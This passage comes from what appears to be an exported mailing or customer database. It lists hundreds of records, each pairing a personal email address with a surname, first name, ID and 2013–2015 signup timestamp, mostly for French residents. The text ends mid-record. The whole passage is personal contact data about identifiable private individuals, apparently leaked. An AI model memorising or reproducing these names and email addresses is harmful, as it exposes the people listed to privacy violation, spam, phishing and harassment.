+1019;guy.mantet@orange.fr;2014-01-27 17:31:47;mantet;daniele;1 +3035;guy.moisson@wanadoo.fr;2014-08-08 08:37:46;Moisson;Marie;1 +1359;guylene.gairot@manage-conseil.fr;2014-03-15 12:16:17;rolland gairot;guylene;1 +711;gwdufour@gmail.com;2013-12-14 09:24:35;DUFOUR;GWENAELLE;1 +742;gwengrimoin@hotmail.com;2013-12-17 09:40:12;Lamouret;Gwen;1 +1035;gwenolajaffrelot@gmail.com;2014-01-28 12:19:05;Jaffrelot;Gwënola;1 +633;h-aurelie@wanadoo.fr;2013-12-04 16:37:25;Soyez;Aurélie;1 +714;h.lataste@hotmail.fr;2013-12-14 13:12:55;LATASTE;Huguette;1 +1577;h.mabut@orange.fr;2014-04-07 14:48:23;Mabut;Helene;1 +4006;hainautannie@free.fr;2014-11-13 12:59:21;HAINAUT;ANNIE;1 +5027;ham.2009@hotmail.fr;2015-02-13 07:20:06;hamdi;Abla;1 +203;hamard.h@hotmail.fr;2013-09-28 00:53:04;hamard;helene;1 +2186;hamardp@orange.fr;2014-05-16 14:10:20;HAMARD;AGNES;1 +2763;handy.regine@orange.fr;2014-07-06 14:30:33;Handy;Régine;1 +3399;hannelore.stock@web.de;2014-09-22 22:22:43;Stock;Hannelore;1 +1194;harmonie.gobin@orange.fr;2014-02-19 15:56:38;gobin;harmonie;1 +2385;hayem.anne.marie@gmail.com;2014-06-01 12:45:27;HAYEM;Anne-Marie;1 +804;hebert.lydia@aliceadsl.fr;2013-12-25 15:25:36;hebert;lydia;1 +4738;heinrich.n@orange.fr;2015-01-17 18:53:17;heinrich;nicole;1 +2834;helbig.chantal@bbox.fr;2014-07-14 15:01:35;helbig;chantal;1 +4966;helenab25@laposte.net;2015-02-08 20:18:57;VILLETTI;HELENE;1 +3850;helene.champault@dbmail.com;2014-11-03 12:56:33;CHAMPAULT;Hélène;1 +2680;helene.daubech@sfr.fr;2014-06-27 13:59:30;DAUBECH;Hélène;1 +1961;helene.fournier46@gmail.com;2014-05-01 18:45:06;FOURNIER;Helene;1 +2798;helene.mapa@sfr.fr;2014-07-09 11:52:17;mapa;helene;1 +3637;helenedagron@sfr.fr;2014-10-17 15:03:59;dagron;hélène;1 +784;helenedard@orange.fr;2013-12-22 11:21:50;dard;helene;1 +754;helenelaurencepicou@yahoo.fr;2013-12-18 01:44:16;Picou;Hélène;1 +696;Helenemartin04@hotmail.fr;2013-12-13 11:47:34;Martin ;Hélène ;1 +2989;helloxinxinshi@gmail.com;2014-08-02 18:35:27;Xinxin;Shi;2 +627;hellshag@hotmail.fr;2013-12-04 09:22:46;bellin;angelique;1 +3230;heloise.pawlik@gmail.com;2014-09-05 12:16:05;PAWLIK;HELOISE;1 +3329;henri.moan@orange.fr;2014-09-15 18:00:27;MOAN;HENRI;1 +4655;herber.p.l@hotmail.fr;2015-01-07 13:15:39;herber;lydie;1 +1075;herbrecht.karine@orange.fr;2014-02-01 22:50:37;herbrecht;karine;1 +4920;hernandezjp@wanadoo.fr;2015-02-05 11:48:15;hernandez;chrisitne;1 +4583;herpin.cecile@gmail.com;2014-12-26 15:26:00;Dorsemaine;Cecile;1 +2161;herpjose@orange.fr;2014-05-14 19:54:01;HERPEUX;CHRISTINE;1 +4568;herve.muriele.decour@orange.fr;2014-12-24 10:20:22;DECOUR;MURIELE;1 +1430;hessia77@yahoo.fr;2014-03-23 21:31:00;FADHEL;Hessia;1 +5015;hettier.nadine@wanadoo.fr;2015-02-12 11:36:25;hettier;nadine;1 +3560;hildegard.wichmann@gmx.de;2014-10-10 13:38:27;Wichmann;Hildegard;2 +3440;hinadimed@gmail.com;2014-09-29 15:29:17;hamri;fatima zohra;1 +569;hohm.amandine@free.fr;2013-11-26 17:07:08;HOHM;AMANDINE;1 +4257;horkidia@orange.fr;2014-12-01 19:52:33;TROUILLET;Séverine;1 +4001;houdarayan2009@hotmail.fr;2014-11-12 12:19:26;PRADON;HOUDA;1 +1753;hourfella@yahoo.fr;2014-04-19 14:37:34;ourfella;houria;1 +485;HRENA_YEMA@hotmail.fr;2013-11-13 21:42:07;ROUABHI;LATIFA;1 +1506;huard.lorinde@gmail.com;2014-03-30 21:45:10;huard;lorinde;1 +259;hugues.frederique@orange.fr;2013-10-09 14:13:34;Hugues;Frédérique ;1 +2866;huguette.duplessy@sfr.fr;2014-07-18 15:56:09;DUPLESSY;Huguette;1 +839;huguette.gritti@moselle.gouv.fr;2013-12-31 15:05:07;Gritti;Huguette;1 +3722;huguettemoste@yahoo.fr;2014-10-25 16:27:29;MOSTEGHANEMI;Huguette;1 +2659;huriche@wanadoo.fr;2014-06-25 10:26:51;HUMEZ;Caroline;1 +1084;h_a_n_a_e@hotmail.fr;2014-02-02 12:55:45;BEDEKOVIC;ANAIS;1 +3963;h_bresson@aliceadsl.fr;2014-11-08 22:27:52;BRESSON;Heloise;1 +2942;i.delhommeau@gmail.com;2014-07-28 14:40:45;DELHOMMEAU;Isabelle;1 +1147;i.despres@themis-ec.fr;2014-02-09 20:12:44;DESPRES;ISABELLE;1 +1605;i.morard-lacroix@wanadoo.fr;2014-04-08 23:00:11;Morard-Lacroix;Isabelle;1 +812;I.wetterwald@free.fr;2013-12-26 23:13:21;Dubois wetterwald ;Isabelle;1 +411;ical@laposte.net;2013-11-04 17:46:06;Varga Rodriguez ;Anne;1 +4552;ilnyadenouveauquecequiestoublie@hotmail.fr;2014-12-22 09:41:25;WARLOP;Benjamin;1 +1453;ilojadice93@hotmail.fr;2014-03-26 14:23:27;Miserine;Jade;1 +2596;imelmoi@me.com;2014-06-18 15:25:34;Baxter-Jones;Mélanie;1 +4011;imenhafidhi@gmail.com;2014-11-14 01:02:10;Hafidhi;Imen;1 +3705;in.limine@outlook.com;2014-10-23 17:45:36;Delannoy;Pascal;1 +4237;info@amnadal.com;2014-11-30 20:37:41;NADAL VALLVÉ;ANNA MARIA;1 +3148;info@pessinlocation.com;2014-08-26 09:39:52;PESSIN;FLORENCE;1 +423;ingrid.delbauche@gmail.com;2013-11-06 23:30:08;Delbauche;Ingrid;1 +340;Ingrid.juchereau@gmail.com;2013-10-23 14:43:22;Juchereau;Ingrid;1 +1261;ingrid.vant@hotmail.fr;2014-03-01 21:24:42;Vantillard;Ingrid;1 +4501;irigaray.f@gmail.com;2014-12-16 21:13:10;IRIGARAY;Françoise;1 +1299;irinun@gmail.com;2014-03-07 01:23:10;IRINA;SHAYKHULOVA;1 +3663;isa.cocco@nordnet.fr;2014-10-19 19:41:41;COCCO;ISABELLE;1 +3119;isa.descours@orange.fr;2014-08-22 10:47:30;Descours;Isabelle;1 +3864;isa.thevenet63@outlook.fr;2014-11-03 17:06:04;THEVENET;Isabelle;1 +645;isa.tricart@orange.fr;2013-12-05 11:36:31;TRICART;Isabelle;1 +2741;isa.van@cegetel.net;2014-07-03 19:41:03;Van Belleghem;isabelle;1 +4249;isabel83@wanadoo.fr;2014-12-01 11:23:01;BOYER;ISABELLE;1 +4924;isabelle.dufour0625@orange.fr;2015-02-05 18:12:52;DUFOUR;ISABELLE;1 +1978;isabelle.falconnet26@orange.fr;2014-05-02 11:27:10;falconnet;isabelle;1 +2734;isabelle.garrido123@orange.fr;2014-07-02 23:36:10;garrido;isabelle;1 +3306;isabelle.isenbart@bbox.fr;2014-09-12 20:12:47;ISENBART;isabelle;1 +3325;isabelle.perol0566@orange.fr;2014-09-15 09:09:01;perol;isabelle;1 +4423;isabelle.puviland@wanadoo.fr;2014-12-12 09:51:57;PUVILAND;Isabelle;1 +1738;isabelle.seguin@live.fr;2014-04-18 10:05:54;SEGUIN;Isabelle;1 +2254;isabelle.sirigu@robert.fr;2014-05-22 10:19:04;SIRIGU;Isabelle;1 +1419;isabelle50340@gmail.com;2014-03-22 17:35:01;HOREN;Isabelle;1 +1351;Isabelle@promokids.be;2014-03-13 20:12:58;Schmitz;Isabelle;1 +2111;isabelledeboeuf@hotmail.fr;2014-05-11 11:30:29;deboeuf;isabelle ;1 +4616;isabellerivoallan@orange.fr;2014-12-31 22:40:07;rivoallan;isabelle;1 +810;isabelvieira@socovimp.com;2013-12-26 20:21:57;isabel;vieira;1 +764;isabesson@hotmail.com;2013-12-19 11:09:38;besson;isabelle;1 +3858;isaoran@orange.fr;2014-11-03 16:32:56;BOTTE;ISABELLE;1 +4300;isa_dibari@hotmail.com;2014-12-05 10:19:46;Di bari;isabelle;1 +4876;isis_418@hotmail.com;2015-02-01 10:06:02;vernier;anne;1 +820;Isma0901@hotmail.fr;2013-12-29 01:00:59;Laradji;Isma;1 +800;Ismahane313@hotmail.fr;2013-12-24 15:41:22;Hamzaoui ;Ismahan;1 +2310;isnerpeggy@hotmail.com;2014-05-26 15:38:01;ISNER;Peggy;1 +2489;Ivyever@live.cn;2014-06-08 23:57:30;Lu;Ivy;1 +1806;izabel.saez@orange.fr;2014-04-23 14:13:56;Saez;Isabelle;1 +1849;izad29@laposte.net;2014-04-26 07:48:09;durand;isabelle;1 +2227;j-p-chesneau@hotmail.fr;2014-05-20 17:27:16;Chesneau;Florence;1 +2167;j.castegnaro@free.fr;2014-05-15 08:55:58;castegnaro;jeanine;1 +1457;j.geuens@hotmail.fr;2014-03-26 15:47:01;Geuens;Jennifer;1 +4791;j.p.etcheber@wanadoo.fr;2015-01-24 10:39:08;etcheber;jean pierre;1 +1417;jackromana@hotmail.fr;2014-03-22 14:52:37;vimond;jacques;1 +1676;jacky.quenard@orange.fr;2014-04-14 09:27:08;quenard;france;1 +4671;jacobus97@hotmail.com;2015-01-08 01:29:06;GRENET;Jacqueline ;1 +175;jacqueline.chataignier@dbmail.com;2013-09-25 14:15:52;CHATAIGNIER-ALEX;Jacqueline;1 +4603;jacqueline.lamand@wanadoo.fr;2014-12-29 16:31:27;LAMAND;JACQUELINE;1 +949;jacqueline.maury31@orange.fr;2014-01-18 15:43:03;maury;jacqueline;1 +481;jacqueline?maury31@orange.fr;2013-11-13 14:27:46;maury;jacqueline;1 +1443;jacques-plante@wanadoo.fr;2014-03-25 10:18:23;plante;mireille;1 +3106;jacques.pacaud@orange.fr;2014-08-19 21:26:41;pacaud;veronique;1 +3293;jammes.peggy@orange.fr;2014-09-11 17:05:04;jammes;peggy;1 +4824;jane.francois@live.fr;2015-01-26 14:22:44;FRANCOIS;Jane;1 +322;jane.lenourry@gmail.com;2013-10-20 17:36:41;LENOURRY;Jane;1 +3912;janine.bresteau@orange.fr;2014-11-05 12:54:34;BRESTEAU;janine;1 +1780;janinederuyck@hotmail.com;2014-04-21 19:20:16;DE RUYCK;JANINE;1 +3576;janodymarie@gmail.com;2014-10-12 17:00:54;JANODY;Marie;1 +4115;japanlotus@msn.com;2014-11-20 10:26:44;hadad;emilie;1 +1883;jardinom@sfr.fr;2014-04-28 11:39:26;JARDINO;MARIE CLAUDE;1 +1004;jarno_florence@yahoo.fr;2014-01-25 18:06:38;gourisse;florence;1 +1804;jaser@laposte.net;2014-04-23 12:29:11;GARCIA;jacqueline;1 +3868;jauffretmarie@hotmail.fr;2014-11-03 17:32:25;Jauffret;Marie;1 +3657;jch2564@gmail.com;2014-10-19 14:04:14;jean-claude;hantz;1 +1246;jean-baptiste.delpirou@orange.fr;2014-02-27 23:07:12;delpirou;renee;1 +2418;jean-claude.lamant@orange.fr;2014-06-03 01:06:08;LAMANT-TYRPA;SYLVIE;1 +4819;jean-claude.matray@orange.fr;2015-01-26 10:20:52;Matray;Michèle;1 +788;jean-marc.del@wanadoo.fr;2013-12-22 18:00:29;DELCROIX;josiane;1 +2198;jean-noel-laporte@orange.fr;2014-05-18 08:25:50;laporte;corinne;1 +1371;JEAN-NOEL.BODOLEC@WANADOO.FR;2014-03-16 17:59:53;BODOLEC;ARMELLE;1 +2802;jean-yves.bera@orange.fr;2014-07-09 16:51:02;BERA;Françoise;1 +1964;jeannefrancine.feutz4@orange.fr;2014-05-01 19:11:46;feutz;jeanne;1 +2237;jeanpierre.marc91@orange.fr;2014-05-21 09:33:44;MARC;JOELLE;1 +1284;jehanne.berquet@wanadoo.fr;2014-03-04 18:23:36;BERQUET;Jehanne;1 +4608;jekal.christine@yahoo.fr;2014-12-30 16:07:12;RABY;Christine;1 +815;jeninas@hotmail.fr;2013-12-27 13:17:18;SCHNETZER;JEANINE;1 +4401;jennifer.magron@yahoo.fr;2014-12-11 13:14:41;magron;jennifer;1 +1022;jennifer77360@hotmail.fr;2014-01-27 18:02:54;Desainriquer;jennifer;1 +487;jenny.guillard@wanadoo.fr;2013-11-14 14:14:58;Guillard;Jenny;1 +1009;jeromepascale.texier@laposte.net;2014-01-26 14:47:31;Texier;Pascale;1 +758;jesa90@hotmail.com;2013-12-18 13:23:06;defarges;whitney;2 +4219;jessica-ruiz-reina@hotmail.com;2014-11-29 10:41:11;Ruiz-Reina;Jessica;1 +2508;jessica.mebrek@hotmail.fr;2014-06-10 11:41:16;Mebrek;Jessica;1 +4776;jessica.tejedor@gmail.com;2015-01-23 12:42:18;Tejedor;Jessica;1 +1078;jessicadv@hotmail.fr;2014-02-02 10:06:51;Di virgilio;jessica ;1 +3161;jezequel.catoche68@gmail.com;2014-08-26 23:08:56;jezequel;marie Catherine;1 +3007;jgy1993@qq.com;2014-08-04 19:29:43;JIAOYA;ZHOU;2 +2561;jihane_bensouda@hotmail.com;2014-06-14 22:45:00;Bensouda;Jihane;1 +1410;Jinks32@aol.com;2014-03-21 18:05:22;AUBEL;Sandra;1 +463;jo.calagan@free.fr;2013-11-11 11:20:39;FRENATI;JOSEPHINE;1 +4596;jocelyne.goby@laposte.net;2014-12-28 13:24:01;goby;jocelyne;1 +624;joel.degornet@orange.fr;2013-12-03 20:59:53;DEGORNET;Aude;1 +1754;joelle-bourgeois@laposte.net;2014-04-19 16:50:25;bourgeois;joelle;1 +1993;Joelle.berenger@gmail.com;2014-05-02 21:16:32;Berenger;Joelle;1 +4537;joelle.elleoj@orange.fr;2014-12-19 17:13:11;ROMET;Joëlle;1 +3958;joelle.guyot25@orange.fr;2014-11-08 16:05:01;GUYOT;Joelle;1 +3467;joelle.le-honzec@orange.fr;2014-09-30 19:47:18;Le Honzec;joelle;1 +610;joelle.leseignoux@orange.fr;2013-12-03 07:56:51;le seignoux ;Joelle;1 +325;joelle.mury@bbox.fr;2013-10-21 14:35:19;MURY;Joëlle;1 +943;joellemuninger@hotmail.fr;2014-01-17 09:02:48;muninger;joelle;1 +4356;jolly.alain964@orange.fr;2014-12-08 10:47:48;jolly;claudine;1 +3010;jolyaline@laposte.net;2014-08-05 08:48:59;JOLY;ALINE;1 +4284;jose.diaz@hotmail.fr;2014-12-03 16:48:50;diaz;marie;1 +1096;jose.rubin@cegetel.net;2014-02-03 07:50:20;rubin;sylviane;1 +3449;josette.barboutie0227@orange.fr;2014-09-29 23:24:09;barboutie;josette;1 +3242;josette.biazzo@club-internet.fr;2014-09-07 12:00:17;BIAZZO;JOSETTE;1 +4889;josette.bouilland@free.fr;2015-02-02 12:11:04;bouilland;josette;1 +4849;Josiane.dhur@wanadoo.fr;2015-01-29 07:25:41;Dhur;Josiane;1 +3837;josianne.zanna@sfr.fr;2014-11-02 18:41:26;zanna;josiane;1 +4061;joss.chatelain@sunrise.ch;2014-11-17 08:37:25;Chatelain;Jocelyne;1 +4500;josy.nanou@gmail.com;2014-12-16 17:55:20;Pellet;Josiane;1 +1378;journiacmarie@gmail.com;2014-03-17 12:03:21;journiac;marie;1 +1379;joyh66@hotmail.com;2014-03-17 14:17:36;FEVRE;Joëlle;1 +723;jp-evrard68@laposte.net;2013-12-15 16:11:39;EVRARD;jean pierre;1 +383;jp.boudou0014@orange.fr;2013-10-30 15:05:13;boudou;annie;1 +596;jpbataille@aol.com;2013-11-30 10:28:27;Bataille;Annie;1 +3801;jpcgrec@hotmail.fr;2014-10-31 09:26:33;courmes;christiane;1 +3354;jplucasson@sfr.fr;2014-09-18 14:55:50;LUCASSON;CHARLINE;1 +4361;jpmn.martin@free.fr;2014-12-08 19:12:03;MARTIN;Marie noelle;1 +1830;jppsl@free.fr;2014-04-25 09:24:11;praud;sophie;1 +2616;Jpsmith03@gmail.com;2014-06-20 16:51:29;Schmitt;Jean Paul;1 +4123;jr920701@gmail.com;2014-11-20 23:29:48;Liu;Lijin;1 +4967;jrobinmartre@yahoo.fr;2015-02-08 20:32:55;Robin Martre;Julie;1 +750;jucebox92@gmail.com;2013-12-17 19:25:27;langlois;justine;1 +2422;juledt@wanadoo.fr;2014-06-03 12:08:32;dupont;juliette;1 +4268;julia.barry@hotmail.com;2014-12-02 15:50:30;barry;julia;1 +4936;julia.maginier@yahoo.fr;2015-02-07 16:26:27;MAGINIER ;Julia;1 +511;julie.dubois1987@gmail.com;2013-11-17 16:02:33;Dubois;Julie;1 +3084;julie.gratacos@wanadoo.fr;2014-08-15 18:17:28;reig;julie;1 +33;julie@colje.fr;2013-08-14 11:16:30;coljé;julie;1 +4942;juliebellay@msn.com;2015-02-07 18:22:05;Bellay ;Julie ;1 +2108;juliebouteiller@live.fr;2014-05-11 02:32:44;bouteiller;julie;1 +613;julye02@free.fr;2013-12-03 10:13:52;daimé;julie;1 +1672;Jumpover2011@hotmail.com;2014-04-23 03:55:49;Bordeleau;Claire;1 +4278;justinedouvry@hotmail.fr;2014-12-03 11:41:12;Douvry;Justine;1 +4534;k.chennier@hotmail.fr;2014-12-19 14:57:21;ONGENA;KARINE;1 +1108;K.pricieuse@yahoo.fr;2014-02-04 11:04:39;BENAISSA;Sabaah;1 +1879;Ka@campistron.net;2014-04-27 23:05:50;Campistron ;Ka;1 +1484;kaento.steph@sfr.fr;2014-03-29 11:20:19;Divol;Stephanie;1 +2106;kalliopie@live.fr;2014-05-10 20:17:19;vezin;veronique;1 +4397;karima2626@gmail.com;2014-12-11 09:41:44;aouam;karima;1 +4886;karine-m@bluewin.ch;2015-02-01 23:47:06;Maisonneuve;Karine;1 +4900;karine.bacque@gmail.com;2015-02-03 15:58:02;bacqué;karine;1 +2518;karine.landas@laposte.net;2014-06-10 17:33:09;Landas ;Karine ;1 +845;karine.mierzchala@orange.fr;2014-01-01 20:23:32;CLEMENT;Karine;1 +2510;karine.mira@hotmail.fr;2014-06-10 12:48:00;miraglia ;karine;1 +1305;Karine.nicolleau@wanadoo.fr;2014-03-07 19:47:00;Nicolleau;Karine;1 +2817;karine.rondo@wanadoo.fr;2014-07-10 21:27:47;rondolotto;karine;1 +1475;karine.sauce@sfr.fr;2014-03-28 08:53:30;sauce;karine;1 +3880;karinebm@orange.fr;2014-11-03 22:35:54;BREYSSE MOULIN;Karine;1 +3270;karinedesormeaux@yahoo.fr;2014-09-10 15:45:46;DESORMEAUX;KARINE;1 +3483;karinediot@outlook.fr;2014-10-01 17:44:58;CAUX;Karine;1 +3372;karinejubault@sfr.fr;2014-09-19 21:40:39;JUBAULT;KARINE;1 +2519;karinelinon@yahoo.fr;2014-06-10 17:52:34;LINON;Karine;1 +1518;karisou13@hotmail.fr;2014-03-31 21:49:36;chouaki;karima;1 +4561;Karole57480@hotmail.fr;2014-12-23 10:59:58;Chiarolanza;Karole;1 +3155;karolina.couget@gmail.com;2014-08-26 17:23:19;COUGET LECLERC;KAROLINA;1 +4991;karolynka@alice.it;2015-02-10 13:56:50;SZPONAR;CAROLINA;2 +1253;karsam@neuf.fr;2014-03-01 13:13:20;sampic;karine;1 +4904;karwat.laure@laposte.net;2015-02-03 20:32:17;KARWAT;LAURE;1 +1629;karyne.loubry@sfr.fr;2014-04-11 12:24:05;loubry;karyne;1 +1422;katherine.marrou.20@gmail.com;2014-03-22 21:38:41;Marrou;Katherine;1 +3316;kathiejouve@aol.com;2014-09-13 20:44:46;Jouve;Kathie;2 +3046;kathy.lavabre@voila.fr;2014-08-10 00:50:30;LAVABRE;Catherine;1 +1622;kathylanglet@hotmail.fr;2014-04-10 03:53:45;LANGLET;Catherine;1 +1023;kathyrose@free.fr;2014-01-27 18:16:02;Rose;Catherine;1 +2219;Katia.cerverra@free.fr;2014-05-20 00:01:24;Cerverra;Amelie;1 +1436;katia.justine@wanadoo.fr;2014-03-24 13:57:09;brunet;KATIA;1 +1698;katlin_@hotmail.fr;2014-04-15 17:38:10;REYGNIER;Katlin;1 +1172;katy.paquet@laposte.net;2014-02-13 20:32:14;paquet;katy;1 +4261;kedzior.sylvie@neuf.fr;2014-12-02 00:03:12;KEDZIOR;SYLVIE;1 +2274;kenza-76@hotmail.fr;2014-05-23 20:37:17;ernis;emilie;1 +2355;kf.thomasson@orange.fr;2014-05-29 11:37:44;thomasson;KARINE;1 +205;KGJAGKG@GMX.FR;2013-09-28 09:31:32;GRALL;KRISTELL;1 +44;khambricard@hotmail.fr;2013-08-18 16:02:37;BRICARD;Kham;1 +2233;khris.jenny@free.fr;2014-05-20 23:19:45;clique;christiane;1 +2168;kiefferannie@free.fr;2014-05-15 10:25:01;KIEFFER;ANNIE;1 +2056;kirinfall@gmail.com;2014-05-06 13:48:00;MATUT;GLORIA;1 +2577;kisskoul82@outlook.fr;2014-06-16 18:48:56;Courgeon;Cécile;1 +2743;kloe.lacomare@gmail.com;2014-07-04 00:16:16;lacomare;kloe;1 +449;koeb@evhr.net;2013-11-09 14:40:28;koeberle;Martine;1 +1013;koko.12coralie@gmail.com;2014-01-26 21:42:12;requis;coralie;1 +2956;konina21@hotmail.com;2014-07-29 20:44:53;Karadimitropoulou;Konstantina;1 +257;konstantiatsogka@yahoo.com;2013-10-09 00:05:19;Tsogka;Konstantia;1 +2343;kozlowskikarine@free.fr;2014-05-28 17:55:17;kozlowski;karine;1 +4623;kretz.christine@free.fr;2015-01-01 23:42:00;KRETZ;Christine;1 +1056;kristine.hodi@gmail.com;2014-01-30 14:07:33;Deweerdt-Hodi;Christine;1 +756;krobaret@yahoo.fr;2013-12-18 08:17:26;Aubaret;Caroline;1 +2801;krystelanna@gmail.com;2014-07-09 16:43:01;LALLAU;CHRISTELLE;1 +4692;Ksalvatorini@gmail.com;2015-01-11 02:05:38;SALVATORINI ;Katia;1 +686;ktithojuli@gmail.com;2013-12-12 09:48:46;LABROUSSE;CATHERINE;1 +2036;l.andreutti@orange.fr;2014-05-05 12:41:08;andreutti;laurence;1 +3160;l.boucard17@laposte.net;2014-08-26 22:10:26;Joseph;Lucille;1 +451;l.korpal@orange.fr;2013-11-09 18:02:03;korpal;Laurence;1 +1267;l.lags@yahoo.fr;2014-03-02 15:15:28;LAGES;Lourdès;1 +4083;l.patebex@gmail.com;2014-11-18 16:03:57;PATEBEX;Loraine;1 +4569;l.valdambrini@yahoo.fr;2014-12-24 11:58:04;Valdambrini;Laurence;1 +1024;la.toxe@hotmail.fr;2014-01-27 18:57:35;fabisiak;julie;1 +4422;labreton91@gmail.com;2014-12-12 09:44:50;Breton;Laura;1 +2994;lachet.celine@orange.fr;2014-08-03 08:54:37;LACHET;Céline;1 +2901;lacombe.severine@neuf.fr;2014-07-23 11:02:03;JOURDAINNE;Severine;1 +4783;lady.j@live.cn;2015-01-23 23:20:04;Fu;Jun;1 +3992;laekadtom@yahoo.fr;2014-11-11 15:50:41;vermeersch;laetitia;1 +1975;laetitia.malard@hotmail.fr;2014-05-02 09:06:25;MALARD;Laetitia;1 +3109;laetitia.mathe@orange.fr;2014-08-20 14:44:07;MATHE;Laëtitia;1 +3410;Laetitiacarradore@hotmail.fr;2014-09-24 10:26:34;carradore;Laetitia;1 +3585;laet_dupont@yahoo.fr;2014-10-13 12:45:11;dupont;laetitia;1 +1303;lafeeduciel@live.fr;2014-03-07 14:40:26;dorey;marie-christine;1 +4808;Lafossasfamily@aliceadsl.fr;2015-01-25 17:16:39;Lafossas;Chantal;1 +434;lagrange.wolff@gmail.com;2013-11-08 10:26:32;WOLFF;Martine;1 +1182;lallement-roxane@orange.fr;2014-02-17 11:21:28;LALLEMENT;ROXANE;1 +661;lamarmotte@ozone.net;2013-12-07 17:08:02;ZERR;Dominique;1 +27;lamassole7@orange.fr;2013-08-11 18:52:41;de saint phalle;giselle;1 +602;lambert-catherine@live.fr;2013-12-01 10:51:00;lambert;catherine;1 +3149;lambert.julie.jl@gmail.com;2014-08-26 09:56:20;LAMBERT;Julie;1 +612;lamendin_aur@yahoo.fr;2013-12-03 10:07:42;Paquet Lamendin;Aurelie;1 +773;landone.lea@gmail.com;2013-12-20 11:44:33;Landone;Léa;1 +4945;laninie76@gmail.com;2015-02-07 19:15:07;DUNIS ;VIRGINIE ;1 +4374;laonetvalerie@yahoo.fr;2014-12-09 17:07:52;LAONET;VALERIE;1 +221;LARA-GOUILLON@ORANGE.FR;2013-10-02 17:18:32;GOUILLON;LARA;1 +1372;lara.belzacki@live.fr;2014-03-16 18:37:02;Belzacki;Lara;1 +1137;larcinagnes@hotmail.com;2014-02-08 15:16:29;LARCIN DRUART;AGNES;1 +888;lasalle.bruno@wanadoo.fr;2014-01-08 14:10:33;Lassalle;cathy;1 +1688;lasan@orange.fr;2014-04-15 10:16:51;LAVAUD;Sandrine;1 +3465;lasuite25@gmail.com;2014-09-30 18:23:41;henriques;olga;1 +4960;latitecilou@hotmail.com;2015-02-08 11:15:37;RUBI;Cécile;1 +3259;lau.sales@laposte.net;2014-09-09 10:31:47;SALES;LAURENCE;1 +807;laumond.sophie@wanadoo.fr;2013-12-26 15:52:09;laumond;sophie;1 +2930;laurakolin@yahoo.es;2014-07-27 03:36:57;Laura;Casado vázquez;1 +2974;laurakolinkolin@gmail.com;2014-07-31 02:01:57;Laura;Casado;1 +3710;lauranedario@gmail.com;2014-10-24 09:13:55;garrigou;Laurane;1 +2900;laure.dellenbach0720@orange.fr;2014-07-23 09:39:56;DELLENBACH;LAURE;1 +3934;lauree44@hotmail.fr;2014-11-07 01:16:48;ringenbach;laure;1 +432;laurel.1@free.fr;2013-11-07 21:19:29;Laurent;Elisa;1 +1533;laureline.valfre@yahoo.fr;2014-04-02 16:44:38;VALFRÉ;Lauréline;1 +4058;laurence.baron280@orange.fr;2014-11-16 18:59:15;WEGEL;Laurence;1 +2824;laurence.beaufils@orange.fr;2014-07-12 12:29:43;beaufils;laurence;1 +3762;laurence.chantrel@yahoo.fr;2014-10-28 12:01:50;CHANTREL;Laurence;1 +1675;laurence.douet@laposte.net;2014-04-14 09:25:28;Lafargue;Laurence;1 +1319;laurence.dumas2@free.fr;2014-03-09 17:09:32;dumas;laurence;1 +3768;laurence.e@thalasso-passion.fr;2014-10-28 18:33:44;ouaknine;flory;1 +2526;laurence.eyraud@wanadoo.fr;2014-06-11 16:23:08;EYRAUD;Laurence;1 +1154;laurence.fr.delaunay@neuf.fr;2014-02-10 18:32:01;de Launay - Robert;Laurence;1 +771;laurence.lang@gmail.com;2013-12-20 10:10:57;lang;laurence;1 +2067;laurence.masson70@gmail.com;2014-05-07 12:22:34;MASSON;LAURENCE;1 +2751;Laurence.merl@gmail.com;2014-07-04 21:21:07;Brenot;Laurence;1 +1870;laurence.pied@orange.fr;2014-04-27 16:43:34;PIED;LAURENCE;1 +830;laurence.rigoulot@gmail.com;2013-12-29 20:14:09;Rigoulot;Laurence;1 +341;laurence1313@gmail.com;2013-10-23 15:07:49;LEBRUN;laurence;1 +5018;laurencebenayon@gmail.com;2015-02-12 16:00:46;benayon;laurence;1 +564;laurencecagnard@hotmail.fr;2013-11-25 18:05:41;cagnard;laurence;1 +2115;laurencechart@wanadoo.fr;2014-05-11 15:18:17;CHARTIER;LAURENCE;1 +4334;Laurencecohen13@gmail.com;2014-12-06 21:42:44;Cohen;laurence;1 +2876;laurencederoeck@yahoo.fr;2014-07-19 17:45:38;De roeck;laurence;1 +4723;laurenceladelfa@yahoo.fr;2015-01-16 09:23:42;la delfa;laurence;1 +622;laurencepere@gmail.com;2013-12-03 19:03:01;Père;Laurence;1 +2505;Laurencepicano@free.fr;2014-06-09 20:51:34;Picano;Laurence;1 +2658;laurent.lanier1@aliceadsl.fr;2014-06-25 10:19:00;lanier;cathy;1 +1191;laurepetri@gmail.com;2014-02-19 12:02:08;PETRI;Laureline;1 +1530;laurewolf136@gmail.com;2014-04-02 14:31:11;WOLF;Laure;1 +3395;laurianelopez38@gmail.com;2014-09-22 10:25:24;LOPEZ;LAURIANE;1 +4718;laurianne.bonkoski@orange.fr;2015-01-15 08:31:26;bonkoski;laurianne;1 +1114;Laurie-ll@live.fe;2014-02-04 23:03:06;Lamouret;Laurie;1 +2209;laurie_peverini@hotmail.com;2014-05-18 23:34:34;peverini;laurie ;1 +2823;lavainefamily@sfr.fr;2014-07-12 11:07:36;LAVAINE;Francoise;1 +4091;lavignemarina@yahoo.fr;2014-11-18 19:57:37;Lavigne;Marina;1 +466;lbb0405@gmail.com;2013-11-11 13:31:42;BATALLA BROTONS;Lydia;1 +2800;le-macretet@orange.fr;2014-07-09 15:52:03;gasnier;corinne;1 +1861;le-querrec.christelle@orange.fr;2014-04-26 21:29:21;LE QUERREC;CHRISTELLE;1 +4796;lea.bonneau@hotmail.fr;2015-01-24 18:45:57;Bonneau;Léa;1 +3171;lea.vergne@gmail.com;2014-08-27 21:16:04;Vergne;Léa;1 +4177;leafaity@yahoo.fr;2014-11-25 19:51:52;Faity;Léa;1 +2854;learaphat@hotmail.fr;2014-07-17 10:27:01;raphat;lea;1 +3158;lea_bellin@yahoo.fr;2014-08-26 20:59:40;bellin;laetitia;1 +4016;lebeau_valerie@hotmail.com;2014-11-14 14:58:46;LEBEAU;Valérie;1 +70;lecameleonfrise@hotmail.fr;2013-08-27 17:11:02;Cauvet;Virginie;1 +760;lecarrour.charlotte@gmail.com;2013-12-18 14:37:51;LE CARROUR ;Charlotte ;1 +529;lecorre.michelle@neuf.fr;2013-11-21 09:58:59;Kernagoret;Michelle;1 +3511;leflochchristine@orange.fr;2014-10-05 12:54:06;LE FLOC'H;CHRISTINE;1 +2090;legerhuguette@orange.fr;2014-05-09 